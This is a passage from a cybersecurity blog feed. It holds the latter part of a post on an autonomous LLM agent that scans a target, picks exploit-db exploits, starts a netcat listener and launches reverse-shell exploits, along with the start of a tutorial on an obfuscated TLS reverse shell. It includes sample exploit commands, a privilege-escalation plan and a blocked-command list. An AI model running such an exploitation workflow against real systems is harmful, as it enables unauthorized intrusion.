    <span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<h2 id="how-it-works-step-by-step">How It Works: Step-by-Step</h2>

<p>Let me walk you through a complete execution cycle:</p>

<h3 id="phase-1-initial-reconnaissance">Phase 1: Initial Reconnaissance</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User Input: "192.168.1.100"

Agent Thought: "I need to scan this target first to see what's running"
Agent Action: scan_target("192.168.1.100")
</code></pre></div></div>

<p>The agent receives nmap output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.6
3306/tcp open mysql   MySQL 5.5.62
</code></pre></div></div>

<h3 id="phase-2-vulnerability-analysis">Phase 2: Vulnerability Analysis</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Thought: "I found 3 services. Let me search exploits for each."
Agent Action: search_exploits("OpenSSH 7.4")

Observation: [Exploit list received]

Agent Action: search_exploits("Apache 2.4.6")

Observation: [More exploits found]

Agent Action: search_exploits("MySQL 5.5.62")

Observation: [MySQL exploits located]
</code></pre></div></div>

<h3 id="phase-3-exploit-evaluation">Phase 3: Exploit Evaluation</h3>

<p>The agent analyzes each exploit:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Thought: "I found CVE-2021-XXXX for Apache 2.4.6. 
               Let me check if the version matches."

Agent Action: verify_exploit_suitability(
    "Apache 2.4.6 RCE", 
    "Apache httpd 2.4.6"
)

Agent Thought: "Version match confirmed. Let me download this exploit."
</code></pre></div></div>

<h3 id="phase-4-code-inspection">Phase 4: Code Inspection</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Action: mirror_exploit("12345")
Observation: "Exploit downloaded to 12345.py"

Agent Action: inspect_exploit_code("12345.py")
Observation: [Full Python code returned]

Agent Thought: "After analyzing the code, I see this is a reverse shell 
               that needs LHOST and LPORT arguments. It will connect 
               back to me on port 4444."
</code></pre></div></div>

<h3 id="phase-5-preparation-and-execution">Phase 5: Preparation and Execution</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Action: start_listener(4444)
Observation: "Listener started on port 4444"

Agent Thought: "Listener is ready. Now I'll execute the exploit with 
               proper arguments."

Agent Action: execute_shell_command(
    "python3 12345.py 192.168.1.100 LHOST=192.168.1.50 LPORT=4444"
)
</code></pre></div></div>

<h3 id="phase-6-result-analysis">Phase 6: Result Analysis</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Observation: "Exploit executed. Check listener log."

Agent Thought: "The exploit has been executed. Based on the output, 
               the connection attempt was made. The user should check 
               listener_4444.log for the shell."
</code></pre></div></div>

<h2 id="why-qwen317b">Why Qwen3:1.7b?</h2>

<p>You might be thinking: “Can such a small model really handle this complexity?”</p>

<p><strong>Short answer: Yes, surprisingly well.</strong></p>

<p>Here’s why Qwen3:1.7b works for this use case:</p>

<h3 id="1-tool-augmented-intelligence">1. Tool-Augmented Intelligence</h3>

<p>The model doesn’t need to “know” how to hack—it just needs to:</p>
<ul>
  <li>Parse structured output (nmap, searchsploit JSON)</li>
  <li>Follow sequential instructions</li>
  <li>Reason about dependencies (“I need scan results before searching”)</li>
  <li>Read and understand basic code patterns</li>
</ul>

<h3 id="2-constrained-problem-space">2. Constrained Problem Space</h3>

<p>Unlike general chat, we’re operating in a <strong>well-defined domain</strong>:</p>
<ul>
  <li>Limited set of tools</li>
  <li>Clear workflow (scan → search → mirror → inspect → execute)</li>
  <li>Structured data formats</li>
  <li>Explicit system prompt</li>
</ul>

<h3 id="3-efficiency-metrics">3. Efficiency Metrics</h3>

<table>
  <thead>
    <tr>
      <th>Model</th>
      <th>Size</th>
      <th>Speed</th>
      <th>Cost</th>
      <th>Suitable?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>GPT-4</td>
      <td>?</td>
      <td>Slow</td>
      <td>$$$</td>
      <td>✅ Overkill</td>
    </tr>
    <tr>
      <td>GPT-3.5</td>
      <td>?</td>
      <td>Medium</td>
      <td>$$</td>
      <td>✅ Works</td>
    </tr>
    <tr>
      <td>Llama2-7b</td>
      <td>~4GB</td>
      <td>Medium</td>
      <td>Free</td>
      <td>✅ Works</td>
    </tr>
    <tr>
      <td>Qwen3:1.7b</td>
      <td>~1GB</td>
      <td>Fast</td>
      <td>Free</td>
      <td>✅ <strong>Perfect</strong></td>
    </tr>
    <tr>
      <td>Qwen2.5-0.5b</td>
      <td>~500MB</td>
      <td>Very Fast</td>
      <td>Free</td>
      <td>❌ Too small</td>
    </tr>
  </tbody>
</table>

<h3 id="4-real-performance">4. Real Performance</h3>

<p>In my testing, Qwen3:1.7b:</p>
<ul>
  <li>✅ Successfully chains 5+ tool calls</li>
  <li>✅ Parses nmap output accurately</li>
  <li>✅ Identifies service versions</li>
  <li>✅ Reads and understands Python exploit code</li>
  <li>✅ Distinguishes reverse vs bind shells</li>
  <li>❌ Sometimes needs retries for complex exploits</li>
  <li>❌ May struggle with ambiguous service names</li>
</ul>

<h2 id="the-secret-sauce-system-prompting">The Secret Sauce: System Prompting</h2>

<p>The system prompt is <strong>everything</strong>. Here’s why mine works:</p>

<h3 id="1-explicit-sequencing">1. Explicit Sequencing</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>STRICTLY FOLLOW THIS ORDER:
1. Scan the target using `scan_target`. WAIT for the results.
2. ANALYZE the scan results...
</code></pre></div></div>

<p>Small models need <strong>hand-holding</strong>. No implicit steps.</p>

<h3 id="2-conditional-logic">2. Conditional Logic</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c. IF it is a **Reverse Shell** (requires local listener):
   - Identify the port it connects back to (LPORT).
   - If hardcoded, use `start_listener` on that port.
</code></pre></div></div>

<p>I explicitly teach the agent <strong>decision trees</strong>.</p>

<h3 id="3-capitalized-keywords">3. Capitalized Keywords</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>**WAIT**, **ANALYZE**, **ONLY AFTER**, **DETERMINE**
</code></pre></div></div>

<p>Emphasis helps small models focus on critical instructions.</p>

<h3 id="4-failure-prevention">4. Failure Prevention</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Do NOT call `search_exploits` until you have received 
the output from `scan_target`.
</code></pre></div></div>

<p>Anticipate common mistakes and preemptively prevent them.</p>

<h2 id="challenges-and-solutions">Challenges and Solutions</h2>

<p>Building this wasn’t smooth sailing. Here are the biggest challenges:</p>

<h3 id="challenge-1-tool-call-ordering">Challenge 1: Tool Call Ordering</h3>

<p><strong>Problem</strong>: Early versions would try to mirror exploits before searching for them.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Added explicit sequencing in system prompt
# Used "WAIT for results" language
# Added "ONLY AFTER" conditionals
</span></code></pre></div></div>

<h3 id="challenge-2-json-parsing-errors">Challenge 2: JSON Parsing Errors</h3>

<p><strong>Problem</strong>: Searchsploit JSON sometimes has edge cases.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span><span class="p">:</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">)</span>
<span class="k">except</span> <span class="n">json</span><span class="p">.</span><span class="n">JSONDecodeError</span><span class="p">:</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"Could not parse JSON. Raw output: </span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">[</span><span class="si">:</span><span class="mi">500</span><span class="p">]</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p>Always handle malformed output gracefully.</p>

<h3 id="challenge-3-reverse-vs-bind-shell-detection">Challenge 3: Reverse vs Bind Shell Detection</h3>

<p><strong>Problem</strong>: Agent struggled to determine if listener needed.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Enhanced system prompt with explicit instructions
# Added inspect_exploit_code tool for code analysis
# Taught agent to look for LHOST/LPORT patterns
</span></code></pre></div></div>

<h3 id="challenge-4-background-listener-management">Challenge 4: Background Listener Management</h3>

<p><strong>Problem</strong>: Netcat listeners blocking the main process.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">command</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"nohup nc -lvp </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s"> &gt; </span><span class="si">{</span><span class="n">log_file</span><span class="si">}</span><span class="s"> 2&gt;&amp;1 &amp;"</span>
<span class="c1"># nohup = no hangup, &amp; = background
</span></code></pre></div></div>

<h3 id="challenge-5-model-context-length">Challenge 5: Model Context Length</h3>

<p><strong>Problem</strong>: Full exploit code can be 500+ lines.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Qwen3 has 32k context window - plenty of room
# Filter exploits to show only top 5
# Use streaming to process results incrementally
</span></code></pre></div></div>

<h2 id="future-improvements">Future Improvements</h2>

<p>This is just v1.0. Here’s my roadmap:</p>

<h3 id="1-multi-exploit-orchestration">1. Multi-Exploit Orchestration</h3>

<p>Currently handles one exploit at a time. Future version:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">run_parallel_exploits</span><span class="p">(</span><span class="n">exploit_list</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""Execute multiple exploits concurrently"""</span>
    <span class="c1"># Multi-threading exploit execution
</span></code></pre></div></div>

<h3 id="2-privilege-escalation-module">2. Privilege Escalation Module</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">escalate_privileges</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    After gaining initial access, automatically:
    - Check current user
    - Enumerate SUID binaries
    - Check sudo rights
    - Search for priv esc exploits
    """</span>
</code></pre></div></div>

<h3 id="3-exploit-success-detection">3. Exploit Success Detection</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">check_listener_output</span><span class="p">(</span><span class="n">port</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Parse listener log to determine if shell was caught
    """</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s">"listener_</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">.log"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">output</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
        <span class="k">if</span> <span class="s">"uid="</span> <span class="ow">in</span> <span class="n">output</span> <span class="ow">or</span> <span class="s">"whoami"</span> <span class="ow">in</span> <span class="n">output</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"SUCCESS: Shell received"</span>
        <span class="k">return</span> <span class="s">"PENDING: No shell yet"</span>
</code></pre></div></div>

<h3 id="4-exploit-database-training">4. Exploit Database Training</h3>

<p>Fine-tune the model on exploit-db descriptions:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create training set from searchsploit --json output</span>
<span class="c"># Fine-tune Qwen3 on exploit categorization</span>
<span class="c"># Result: Better exploit selection accuracy</span>
</code></pre></div></div>

<h3 id="5-memorystate-persistence">5. Memory/State Persistence</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">langgraph.checkpoint</span> <span class="kn">import</span> <span class="n">MemorySaver</span>

<span class="c1"># Add checkpointing for long-running operations
</span><span class="n">checkpointer</span> <span class="o">=</span> <span class="n">MemorySaver</span><span class="p">()</span>
<span class="n">agent</span> <span class="o">=</span> <span class="n">create_react_agent</span><span class="p">(</span>
    <span class="n">model</span><span class="p">,</span> 
    <span class="n">tools</span><span class="p">,</span> 
    <span class="n">checkpointer</span><span class="o">=</span><span class="n">checkpointer</span>
<span class="p">)</span>
</code></pre></div></div>

<h3 id="6-web-ui-with-gradio">6. Web UI with Gradio</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">gradio</span> <span class="k">as</span> <span class="n">gr</span>

<span class="k">def</span> <span class="nf">exploit_interface</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">ports</span><span class="p">):</span>
    <span class="c1"># Run agent
</span>    <span class="k">return</span> <span class="n">results</span>

<span class="n">gr</span><span class="p">.</span><span class="n">Interface</span><span class="p">(</span>
    <span class="n">fn</span><span class="o">=</span><span class="n">exploit_interface</span><span class="p">,</span>
    <span class="n">inputs</span><span class="o">=</span><span class="p">[</span><span class="s">"text"</span><span class="p">,</span> <span class="s">"text"</span><span class="p">],</span>
    <span class="n">outputs</span><span class="o">=</span><span class="s">"text"</span>
<span class="p">).</span><span class="n">launch</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="7-cve-database-integration">7. CVE Database Integration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">check_cve_database</span><span class="p">(</span><span class="n">service</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">version</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Query NIST NVD or CVE.org for known vulnerabilities
    """</span>
    <span class="c1"># API integration with CVE databases
</span></code></pre></div></div>

<h2 id="installation-and-setup">Installation and Setup</h2>

<p>Want to run this yourself? Here’s how:</p>

<h3 id="prerequisites">Prerequisites</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># System tools</span>
<span class="nb">sudo </span>apt <span class="nb">install </span>nmap exploitdb netcat

<span class="c"># Update searchsploit database</span>
<span class="nb">sudo </span>searchsploit <span class="nt">-u</span>
</code></pre></div></div>

<h3 id="python-dependencies">Python Dependencies</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create virtual environment</span>
python3 <span class="nt">-m</span> venv venv
<span class="nb">source </span>venv/bin/activate

<span class="c"># Install packages</span>
pip <span class="nb">install </span>langchain-core langgraph langchain-ollama
</code></pre></div></div>

<h3 id="ollama-setup">Ollama Setup</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install Ollama</span>
curl <span class="nt">-fsSL</span> https://ollama.com/install.sh | sh

<span class="c"># Pull the model</span>
ollama pull qwen3:1.7b

<span class="c"># Verify it's running</span>
ollama list
</code></pre></div></div>

<h3 id="running-the-exploit-system">Running the Exploit System</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Interactive mode</span>
python genai_exploiter.py

<span class="c"># CLI mode</span>
python genai_exploiter.py 192.168.1.100

<span class="c"># With specific ports</span>
python genai_exploiter.py 192.168.1.100 22,80,443
</code></pre></div></div>

<h3 id="expected-output">Expected Output</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to GenAI Exploit System
Enter target IP/Hostname: 192.168.1.100

Processing: Scan 192.168.1.100 and find and attempt to verify exploits.

[*] Scanning target: 192.168.1.100 (Ports: default)
[Agent] Thought: I need to first scan the target to identify services
[Agent] Action: scan_target
[Agent] Observation: Port 22 open - OpenSSH 7.4...
[*] Searching exploits for: OpenSSH 7.4
[Agent] Thought: Found potential exploits, analyzing...
[*] Mirroring exploit ID: 45233
[*] Reading exploit code: 45233.py
[Agent] Thought: This is a reverse shell requiring LHOST/LPORT...
[*] Starting background listener on port 4444
[*] Executing command: python3 45233.py...
</code></pre></div></div>

<h2 id="security-considerations">Security Considerations</h2>

<h3 id="ethical-usage">Ethical Usage</h3>

<p>This tool is <strong>powerful and dangerous</strong>. Use it responsibly:</p>

<p>✅ <strong>DO</strong>:</p>
<ul>
  <li>Use on systems you own</li>
  <li>Use in authorized penetration tests</li>
  <li>Use in isolated lab environments (like HackTheBox, TryHackMe)</li>
  <li>Keep logs of all activities</li>
</ul>

<p>❌ <strong>DON’T</strong>:</p>
<ul>
  <li>Use on systems without authorization</li>
  <li>Use on production networks without approval</li>
  <li>Distribute maliciously</li>
  <li>Skip the manual review of exploits</li>
</ul>

<h3 id="safety-mechanisms">Safety Mechanisms</h3>

<p>Add these safeguards before production use:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 1. Target whitelist
</span><span class="n">AUTHORIZED_TARGETS</span> <span class="o">=</span> <span class="p">[</span><span class="s">"192.168.1.0/24"</span><span class="p">,</span> <span class="s">"10.0.0.0/8"</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">validate_target</span><span class="p">(</span><span class="n">ip</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="c1"># Check if IP is in authorized range
</span>    <span class="k">pass</span>

<span class="c1"># 2. Command sanitization
</span><span class="n">BLOCKED_COMMANDS</span> <span class="o">=</span> <span class="p">[</span><span class="s">"rm -rf"</span><span class="p">,</span> <span class="s">"mkfs"</span><span class="p">,</span> <span class="s">"dd if="</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">sanitize_command</span><span class="p">(</span><span class="n">cmd</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">blocked</span> <span class="ow">in</span> <span class="n">BLOCKED_COMMANDS</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">blocked</span> <span class="ow">in</span> <span class="n">cmd</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">False</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="c1"># 3. Audit logging
</span><span class="kn">import</span> <span class="nn">logging</span>

<span class="n">logging</span><span class="p">.</span><span class="n">basicConfig</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="s">'exploit_audit.log'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">log_action</span><span class="p">(</span><span class="n">action</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">target</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="n">now</span><span class="p">()</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">action</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="conclusion-the-future-is-open-source">Conclusion: The Future is Open-Source</h2>

<p>We’ve built something remarkable here—a <strong>fully autonomous exploitation framework</strong> powered by a model so small it fits on a USB drive. This proves that AI-assisted cybersecurity doesn’t require deep pockets or cloud dependencies.</p>

<h3 id="key-takeaways">Key Takeaways</h3>

<ol>
  <li><strong>Small models can be surprisingly capable</strong> when properly tool-augmented</li>
  <li><strong>Open-source AI is production-ready</strong> for specialized domains</li>
  <li><strong>ReAct agents</strong> provide a powerful framework for autonomous workflows</li>
  <li><strong>Local execution</strong> preserves privacy and reduces costs to zero</li>
  <li><strong>System prompting is an art</strong> that makes or breaks agent performance</li>
</ol>

<h3 id="the-bigger-picture">The Bigger Picture</h3>

<p>This is just the beginning. Imagine:</p>
<ul>
  <li><strong>Auto-exploit frameworks</strong> that adapt to new CVEs automatically</li>
  <li><strong>Red team agents</strong> that think creatively like human hackers</li>
  <li><strong>Blue team agents</strong> that detect and respond to intrusions in real-time</li>
  <li><strong>All running locally, all open-source, all free</strong></li>
</ul>

<p>The democratization of AI-powered security tools is here. The question is: what will you build with it?</p>

<h2 id="resources-and-links">Resources and Links</h2>

<ul>
  <li><strong>Complete Code</strong>: <a href="https://github.com/MohitDabas">GitHub Repository</a> <em>(Coming Soon)</em></li>
  <li><strong>Ollama</strong>: <a href="https://ollama.com">https://ollama.com</a></li>
  <li><strong>LangChain</strong>: <a href="https://langchain.com">https://langchain.com</a></li>
  <li><strong>LangGraph</strong>: <a href="https://langchain-ai.github.io/langgraph/">https://langchain-ai.github.io/langgraph/</a></li>
  <li><strong>Qwen Models</strong>: <a href="https://huggingface.co/Qwen">https://huggingface.co/Qwen</a></li>
  <li><strong>ExploitDB</strong>: <a href="https://www.exploit-db.com">https://www.exploit-db.com</a></li>
</ul>

<hr />

<p><strong>About the Author</strong>: I’m Mohit Dabas, a cybersecurity professional passionate about building innovative security tools. Follow my journey as I explore the intersection of AI and cybersecurity.</p>

<p><strong>Questions? Feedback?</strong> Find me on <a href="https://x.com/DabasMonty">Twitter</a>, <a href="https://github.com/MohitDabas">GitHub</a>, or <a href="https://www.linkedin.com/in/mohit-dabas-4b497798/">LinkedIn</a>.</p>

<hr />

<p><em>Remember: With great power comes great responsibility. Use this knowledge ethically and legally.</em></p>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="GenAI" /><category term="LangChain" /><category term="LangGraph" /><category term="Penetration-Testing" /><category term="Automation" /><category term="Ollama" /><category term="mohitdabas" /><summary type="html"><![CDATA[The Cybersecurity Game Just Changed: A Tiny LLM That Hacks]]></summary></entry><entry><title type="html">Linux Malware Development: Building a one liner TLS/SSL-Based reverse shell with Python</title><link href="http://mohitdabas.in/blog/linux-maldev-tlsbased-reverse-shell/" rel="alternate" type="text/html" title="Linux Malware Development: Building a one liner TLS/SSL-Based reverse shell with Python" /><published>2024-11-30T00:00:00+00:00</published><updated>2024-11-30T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/linux-maldev-tlsbased-reverse-shell</id><content type="html" xml:base="http://mohitdabas.in/blog/linux-maldev-tlsbased-reverse-shell/"><![CDATA[<p>Building a obfuscated SSL/TLS Reverse Shell with Python</p>

<p><img src="/assets/images/linux-maldev/tls-revers-shell.png" alt="tls-reverse-shell" class="img-responsive" /></p>

<p>In this blog, we’ll walk through the process of building a <strong>TLS-secured reverse shell</strong> using Python. This reverse shell ensures that all communications between the client and server are encrypted using self-signed certificates. The code can be found here <a href="https://github.com/MohitDabas/Linux_Malware_Development/blob/main/ssl_reverse_shell/reverse_ssl.py">Github Repo TLS reverse shell</a>.</p>

<h2 id="what-is-a-reverse-shell"><strong>What is a Reverse Shell?</strong></h2>

<p>A reverse shell is a type of remote shell where the target machine (client) connects back to an attacker’s machine (server). The server can then execute commands on the client machine.</p>

<p>To make the communication secure, we’ll use <strong>TLS (Transport Layer Security)</strong>, which encrypts all traffic between the server and client.</p>

<h2 id="key-features-of-the-code"><strong>Key Features of the Code</strong></h2>

<ul>
  <li><strong>TLS Security</strong>: Uses a self-signed certificate for encrypted communication.</li>
  <li><strong>Dynamic Client Code Generation</strong>: Generates a single-line Python client script.</li>
  <li><strong>Threaded Server</strong>: Handles multiple client connections using threads.</li>
  <li><strong>Regenerates Keys on Each Run</strong>: Ensures fresh keys and certificates every time the script is executed.</li>
</ul>

<h2 id="code-walkthrough"><strong>Code Walkthrough</strong></h2>

<h3 id="1-importing-dependencies"><strong>1. Importing Dependencies</strong></h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">ssl</span>
<span class="kn">from</span> <span class="nn">subprocess</span> <span class="kn">import</span> <span class="n">run</span><span class="p">,</span> <span class="n">CalledProcessError</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">zlib</span>
<span class="kn">from</span> <span class="nn">threading</span> <span class="kn">import</span> <span class="n">Thread</span>
</code></pre></div></div>

<h3 id="external-dependencies-for-server">External dependencies for Server:</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip <span class="nb">install </span>pycryptodome
</code></pre></div></div>
<p><strong>opensessl</strong> must be installed on the system to generate the self-signed certificate.</p>

<h3 id="modules-and-their-purpose">Modules and Their Purpose</h3>

<ol>
  <li><strong><code class="language-plaintext highlighter-rouge">os</code></strong>
    <ul>
      <li><strong>Purpose:</strong> For file and directory operations.</li>
      <li><strong>Example Use:</strong> Creating, deleting, or modifying files and directories.</li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">socket</code></strong>
    <ul>
      <li><strong>Purpose:</strong> For network communication.</li>
      <li><strong>Example Use:</strong> Establishing a connection between a client and server over TCP/IP or UDP.</li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">ssl</code></strong>
    <ul>
      <li><strong>Purpose:</strong> For enabling TLS (encryption).</li>
      <li><strong>Example Use:</strong> Securing data transferred between client and server to prevent interception.</li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">subprocess</code></strong>
    <ul>
      <li><strong>Purpose:</strong> To run system commands.</li>
      <li><strong>Example Use:</strong> Executing shell commands or external programs from within Python.</li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">base64</code></strong> and <strong><code class="language-plaintext highlighter-rouge">zlib</code></strong>
    <ul>
      <li><strong>Purpose:</strong> To compress and encode the client code.</li>
      <li><strong>Example Use:</strong>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">zlib</code> compresses data to save bandwidth.</li>
          <li><code class="language-plaintext highlighter-rouge">base64</code> encodes it for safe transmission over protocols that might not support raw binary.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">Thread</code></strong>
    <ul>
      <li><strong>Purpose:</strong> To handle multiple client connections concurrently.</li>
      <li><strong>Example Use:</strong> Creating threads for each client in a multi-client server application to manage multiple connections simultaneously.</li>
    </ul>
  </li>
</ol>

<h3 id="2-generating-keys-and-certificates"><strong>2. Generating Keys and Certificates</strong></h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">keys_check_or_create</span><span class="p">(</span><span class="n">ip_address</span><span class="p">):</span>
    <span class="n">keys_dir</span> <span class="o">=</span> <span class="s">"keys"</span>
    <span class="n">os</span><span class="p">.</span><span class="n">makedirs</span><span class="p">(</span><span class="n">keys_dir</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Ensure the keys directory exists
</span>
    <span class="c1"># Remove existing keys and certificates
</span>    <span class="k">for</span> <span class="nb">file</span> <span class="ow">in</span> <span class="n">os</span><span class="p">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">keys_dir</span><span class="p">):</span>
        <span class="n">file_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">keys_dir</span><span class="p">,</span> <span class="nb">file</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">file_path</span><span class="p">):</span>
            <span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">file_path</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[*] Existing keys and certificates removed."</span><span class="p">)</span>

    <span class="c1"># Generate RSA key pair
</span>    <span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
    <span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">generate</span><span class="p">(</span><span class="mi">2048</span><span class="p">)</span>

    <span class="c1"># Write the private key
</span>    <span class="n">private_key_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">keys_dir</span><span class="p">,</span> <span class="s">"private_key.pem"</span><span class="p">)</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">private_key_path</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">export_key</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[*] Private key generated."</span><span class="p">)</span>

    <span class="c1"># Write the public key
